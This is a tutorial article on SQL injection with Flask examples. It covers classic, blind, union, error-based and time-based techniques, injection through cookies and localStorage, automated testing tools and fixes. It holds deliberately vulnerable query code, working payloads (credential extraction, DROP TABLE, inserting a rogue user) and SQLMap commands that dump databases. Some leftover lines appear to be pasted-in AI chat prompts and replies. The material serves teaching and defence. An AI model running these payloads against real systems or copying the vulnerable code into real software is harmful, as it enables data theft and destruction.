Understanding SQL Injection: The Second Most Critical OWASP Vulnerability

✋ This article assumes you have a basic understanding of creating an API endpoint using HTTP and pass variables either as query strings or form values. We also assume a very basic understanding of SQL and how it works.

What is SQL Injection?

SQL Injection is a web vulnerability that allows an attacker to interfere with the queries a website makes to its database. It can enable unauthorized access to data, including sensitive information.

When Does it Happen and Why?

SQL Injection occurs when an application fails to properly sanitize user inputs before using them in SQL queries. When user input is directly incorporated into a query, malicious actors can inject SQL code to manipulate the query, accessing or modifying unauthorized data. The key reason behind SQL injection vulnerabilities is improper validation or filtering of user input, allowing harmful SQL commands to be executed.

Difference Between Classic and Blind SQL Injection

• Classic SQL Injection: Direct feedback is provided by the database, which helps attackers exploit the vulnerability faster.

• Blind SQL Injection: No visible error messages are displayed, making it harder to exploit. Attackers rely on true/false responses to infer whether the injection was successful.

Step-by-Step Python Example Using Python Flask

Below are examples of classic and blind SQL injection vulnerabilities using Python with Flask.

1. Classic SQL Injection in Flask

Here is the sample code for a Flask API that contains an SQL Injection Vulnerability

1from flask import Flask, request
2import sqlite3
3
4# We create a new website
5app = Flask(__name__)
6
7# We specify that the website will have a /classic directory url, for example: mywebsite.com/classic
8@app.route('/classic')
9def classic_sql_injection():
10    # the variable "id" is received from the URL, for example: mywebsite.com/classic?id=1
11    user_id = request.args.get('id')
12
13    conn = sqlite3.connect('example.db')
14    cur = conn.cursor()   
15    # Here is the vulnerability, the variable user_id could contain any value, including SQL Statements.
16    query = f"SELECT * FROM users WHERE id = {user_id}"  # Vulnerable code
17    cur.execute(query)
18    result = cur.fetchone()
19    conn.close()
20    
21    if result:
22        return f"User found: {result}"
23    return "User not found"
24
25if __name__ == "__main__":
26    app.run(debug=True)

Exploiting Classic SQL Injection

An attacker can manipulate the id parameter with the vollowing value ` as follows:

http://your-website.com/classic?id=1 OR 1=1

This will return all users because the query becomes:

1SELECT * FROM users WHERE id = 1 OR 1=1;

2. Blind SQL Injection in Flask

1@app.route('/blind')
2def blind_sql_injection():
3    user_id = request.args.get('id')
4    conn = sqlite3.connect('example.db')
5    cur = conn.cursor()
6    query = f"SELECT * FROM users WHERE id = {user_id} AND name='John'"  # Vulnerable code
7    cur.execute(query)
8    result = cur.fetchone()
9    conn.close()
10
11    if result:
12        return "User exists"
13    return "User does not exist"

Exploiting Blind SQL Injection

Blind SQL Injection works without direct output. For instance, if an attacker wants to check if a user exists:

http://localhost:5000/blind?id=1 AND 1=1

This won't reveal data directly but allows inference through whether the result is "User exists" or "User does not exist".

Examples of SQL Injection Categories

The following categories can either be blind or classic:

1. Error-Based Injection

An attacker forces the database to generate an error that reveals details about the database schema.

Example:

http://example.com/page?id=1' AND 1=CONVERT(int, 'test')

The database error message might leak valuable information about the data type or structure.

2. Union-Based Injection

Union queries allow attackers to combine the results of two different queries.

Example:

http://example.com/page?id=1 UNION SELECT username, password FROM users

This retrieves the contents of the users table.

3. Blind Injection

No error messages are shown, but an attacker can infer the result of queries through true/false conditions.

Example:

http://example.com/page?id=1 AND 1=1 -- True, page loads normally
http://example.com/page?id=1 AND 1=2 -- False, different behavior

4. Time-Based Blind Injection

The attacker can exploit time delays to infer the success of their queries.

Example:

http://example.com/page?id=1 AND IF(1=1, SLEEP(5), 0)

You can add a section in the article that addresses SQL injection via cookies and localStorage. Here's how you might incorporate it into the existing content:

SQL Injection Through Cookies and LocalStorage

In addition to injecting malicious SQL through query strings and form values, attackers can also exploit insecure data storage mechanisms such as cookies and localStorage. These mechanisms are often used by web applications to store session-related information or user preferences, but if the data stored is used unsafely in SQL queries, it can lead to injection vulnerabilities.

Example of SQL Injection Via Cookies

Let's assume you have a web application that stores the user's ID in a cookie and uses this ID to retrieve data from the database. Here's a vulnerable example in Flask:

1from flask import Flask, request
2import sqlite3
3
4app = Flask(__name__)
5
6@app.route('/cookie')
7def cookie_sql_injection():
8    user_id = request.cookies.get('user_id')  # Retrieve user ID from cookie
9    conn = sqlite3.connect('example.db')
10    cur = conn.cursor()
11    
12    query = f"SELECT * FROM users WHERE id = {user_id}"  # Vulnerable code
13    cur.execute(query)
14    result = cur.fetchone()
15    conn.close()
16    
17    if result:
18        return f"User found: {result}"
19    return "User not found"
20
21if __name__ == "__main__":
22    app.run(debug=True)

In this example, the user_id stored in the cookie is directly used in the SQL query without proper sanitization. An attacker can modify the cookie in their browser's developer tools and inject SQL code.

Exploiting the vulnerability:

The attacker could manipulate the user_id cookie to inject a malicious SQL query:

user_id=1 OR 1=1;

This will modify the query to:

1SELECT * FROM users WHERE id = 1 OR 1=1;

As a result, all users will be retrieved from the database, and sensitive data could be leaked.

Example of SQL Injection Via LocalStorage

LocalStorage is a browser-based storage mechanism that allows web applications to store data on the client side. If an application retrieves data from localStorage and directly uses it in SQL queries without validation, this can lead to SQL injection vulnerabilities.

In a front-end JavaScript app, the user_id could be retrieved from localStorage and passed as part of an HTTP request to the Flask API:

1// Simulating vulnerable code in front-end
2let userId = localStorage.getItem("user_id");
3fetch(`/localstorage?user_id=${userId}`)
4  .then(response => response.text())
5  .then(data => console.log(data));

Attackers can easily manipulate localStorage data through the browser's developer tools:

1localStorage.setItem("user_id", "1 OR 1=1");

This would allow an SQL injection attack similar to the cookie example.

Create a list of SQL Injection Payloads

SQL injection payloads are specific inputs crafted by attackers to manipulate SQL queries in vulnerable applications. These payloads exploit weaknesses in handling user input and can result in data exfiltration, database manipulation, or unauthorized access. Below are some common types of SQL injection payloads, categorized by their purpose or technique:

Payload Type	SQL Injection Payload	Description
Authentication Bypass	' OR 1=1 --	Bypasses login by making the condition always true.
Extract Data	' UNION SELECT username, password FROM users --	Retrieves usernames and passwords from the users table using the UNION keyword.
Error-Based Injection	1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a) --	Forces an error to reveal the database name and structure details.
Union-Based Injection	' UNION SELECT null, null, database(), null --	Returns the current database name using a UNION query.
Time-Based Blind	1' AND IF(1=1, SLEEP(5), 0) --	Delays the response by 5 seconds if the condition is true (useful for blind SQL injection).
Boolean-Based Blind	1' AND 1=1 --	This evaluates to true and the page will load normally. Used for blind SQL injection to infer database behavior.
Extract Column Data	' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --	Retrieves all column names from the users table.
Comment Injection	1'; DROP TABLE users --	Drops the users table by terminating the query and appending a malicious SQL command.
Stacked Queries (MySQL)	1'; INSERT INTO users (username, password) VALUES ('hacker', '12345') --	Executes two queries: one regular and one malicious (inserting a new user).
Extract MySQL Version	' UNION SELECT @@version, null, null --	Retrieves the MySQL version using @@version.
Check Database User	' UNION SELECT user(), null, null --	Returns the current database user.
Extract All Databases	' UNION SELECT schema_name FROM information_schema.schemata --	Retrieves the names of all databases on the server.
Retrieve Password Hashes	' UNION SELECT username, password FROM mysql.user --	Retrieves username and password hashes from the MySQL user table.
Blind Injection (True)	1' AND 1=1 --	Boolean-based blind injection. The query will always return true.
Blind Injection (False)	1' AND 1=2 --	Boolean-based blind injection. The query will return false, useful for deducing database structure.

---

Notes:

• Union-based injections often combine the original query with a second query to exfiltrate data.
• Error-based payloads aim to trigger an error that reveals database structure or content.
• Time-based payloads introduce delays to infer true/false conditions in blind SQL injection attacks.
• Stacked queries can execute multiple SQL commands in a single request, typically used when the backend permits multiple SQL commands in one query.

By using these payloads and understanding how each one works, attackers can manipulate database queries in various ways, depending on the application's vulnerability and the underlying database. However, to prevent these attacks, all inputs should be handled securely using prepared statements and proper input validation.

Automatically Testing for SQL Injection

You can perform automatic SQL injection tests using various tools designed to identify and exploit SQL injection vulnerabilities in web applications. These tools help automate the process of testing, detecting, and even exploiting potential SQL injection flaws.

Automatic SQL injection tests are a powerful way to quickly identify web application vulnerabilities. Tools like SQLMap, OWASP ZAP, Burp Suite, and others can efficiently scan for SQL injection flaws and help ensure your web applications are secure. However, while automated tools are highly effective, it's essential to complement them with manual testing and secure coding practices to ensure full coverage.

Here’s an overview of how to perform automatic SQL injection testing and some commonly used tools:

1. SQLMap

SQLMap is an open-source and highly automated tool that tests and exploits SQL injection vulnerabilities. It supports a wide range of databases (MySQL, PostgreSQL, Oracle, SQL Server, etc.) and can perform complex injection techniques like time-based blind injections, union-based injections, and more.

• Automatic detection of SQL injection vulnerabilities.
• Exploits different types of injections, including Boolean-based, error-based, time-based blind, and UNION query-based.
• Can retrieve database information, dump database tables, or escalate privileges.

Simple command to scan a URL for SQL injection:

1sqlmap -u "http://example.com/index.php?id=1"

SQLMap will then automatically test for and exploit potential SQL injections.

You do not need to explicitly specify the variable names like id for SQLMap to work. SQLMap is designed to automatically identify and test all query string parameters (like id=1 in this case) for SQL injection vulnerabilities.

However, if you want SQLMap to focus on a specific parameter (such as id) and ignore others, you can use the -p option to explicitly specify the parameter you want to test. For example:

1sqlmap -u "http://example.com/index.php?id=1&name=John" -p id

In this case, SQLMap will only test the id parameter for SQL injection, ignoring the name parameter. If you don't use the -p option, SQLMap will default test all parameters (id and name).

2. OWASP ZAP (Zed Attack Proxy)

OWASP ZAP is a web application security scanner with SQL injection testing as part of its automated scan. It’s widely used for testing web applications and is beginner-friendly.

• Automated scans for a variety of web vulnerabilities, including SQL injection.
• Proxy-based testing with the ability to capture and manipulate HTTP requests.
• Provides detailed reports with identified vulnerabilities and suggestions for remediation.

ZAP can be run as a proxy where you navigate your website, and it will detect vulnerabilities in the background. You can also launch a targeted scan on specific URLs.

3. Burp Suite

• Description: Burp Suite is a comprehensive tool for web vulnerability testing that includes automated SQL injection testing features, especially in its professional version.
• Features:
  • Automated vulnerability scanning, including SQL injection detection.
  • Manual and automated tools to analyze and exploit web vulnerabilities.
  • Intercept HTTP requests and modify inputs to test for injection vulnerabilities.
• Usage:
  • With the Burp Suite scanner, you can initiate automated SQL injection tests by setting a target URL and letting the tool perform its analysis.

4. W3AF (Web Application Attack and Audit Framework)

• Description: W3AF is another open-source tool used to audit web applications. It can automatically detect SQL injection vulnerabilities and other common web vulnerabilities.
• Features:
  • Supports SQL injection detection and exploitation.
  • Wide coverage of web vulnerabilities, including Cross-Site Scripting (XSS), CSRF, and more.
  • Can be run from the command line or using its graphical interface.
• Usage:
  • Similar to SQLMap, you can run W3AF against a target URL, and it will automatically test for SQL injections.

5. Acunetix Web Vulnerability Scanner

• Description: Acunetix is a commercial web vulnerability scanner that performs automatic SQL injection tests as part of its overall security assessment.
• Features:
  • Detects and reports SQL injection, XSS, and other vulnerabilities.
  • Provides detailed reports with remediation advice.
  • Offers integration with CI/CD pipelines for continuous testing.
• Usage:
  • Acunetix can be run against any web application, and it will test all forms, parameters, and cookies for SQL injection vulnerabilities.

Example of Automated SQL Injection Test with SQLMap

Here’s an example of how to run SQLMap for an automatic SQL injection test:

1. Run SQLMap against a target URL:

   1sqlmap -u "http://example.com/index.php?id=1"

   This command will start testing the URL parameter id=1 for SQL injection vulnerabilities.

2. If the URL is vulnerable, SQLMap will detect the injection and display details about the type of injection.

3. SQLMap can also be used to extract database information:

   1sqlmap -u "http://example.com/index.php?id=1" --dbs

   This command will retrieve a list of databases from the target.

4. To dump the contents of a specific table, you can run:

   1sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump

Benefits of Automatic SQL Injection Testing

• Efficiency: These tools automate what would otherwise be a time-consuming process, rapidly testing multiple payloads and response patterns.
• Comprehensive Coverage: Automated tools often test for a variety of SQL injection types (blind, union, error-based, etc.), providing broad coverage in a short time.
• Detailed Reporting: These tools usually provide detailed reports, making it easier to understand and fix the vulnerabilities.
• Continuous Integration: Some tools like Acunetix can be integrated into CI/CD pipelines, allowing for continuous and automated vulnerability testing during development.

Limitations of Automatic Testing

• False Positives/Negatives: Automated tools may sometimes miss certain vulnerabilities or report false positives. Manual testing may be needed to verify results.
• Tool Limitations: While tools like SQLMap are powerful, they may not detect complex SQL injections in highly obfuscated or non-standard SQL environments.
• Requires Configuration: Some tools require fine-tuning, especially in complex web applications, to avoid overlooking vulnerabilities.

Steps to Fix SQL Injection

1. Use Prepared Statements (also known as parameterized queries): Instead of directly inserting user input into SQL queries, use prepared statements to safely bind parameters to queries.

   Example:

   1query = "SELECT * FROM users WHERE id = ?"
   2cur.execute(query, (user_id,))

2. Input Validation: Validate the type, length, and format of user inputs before processing them in queries. Reject any inputs that do not conform to expected patterns.

3. ORMs (Object-Relational Mapping): Using ORMs like SQLAlchemy in Python abstracts the raw SQL queries and prevents injection by design.

4. Stored Procedures: Use stored procedures instead of dynamic SQL queries for critical database interactions.

5. Error Handling: Prevent database errors from being displayed to users, as they can leak valuable information about the system.

What Can Hackers Do With SQL Injection?

• Data Exfiltration: Hackers can access sensitive information stored in the database, such as usernames, passwords, credit card details, etc.
• Database Manipulation: Attackers may alter or delete data, or insert malicious entries.
• Authentication Bypass: By manipulating login queries, attackers can bypass authentication systems and gain unauthorized access.
• Access to Entire Systems: Advanced SQL Injection can lead to full control over the underlying server or infrastructure.

Best Practices to Prevent SQL Injection

1. Use Parameterized Queries: Avoid including raw user input in SQL queries.
2. Validate User Inputs: Only allow inputs that match expected formats.
3. Escape Special Characters: Escape characters like ', ", and ; to prevent query manipulation.
4. Use ORM Libraries: An ORM abstracts raw SQL queries, making SQL injection attacks less likely.
5. Least Privilege: Ensure that database users have only the minimum necessary privileges.
6. Regular Security Audits: Perform regular code reviews and use automated tools to scan for SQL injection vulnerabilities.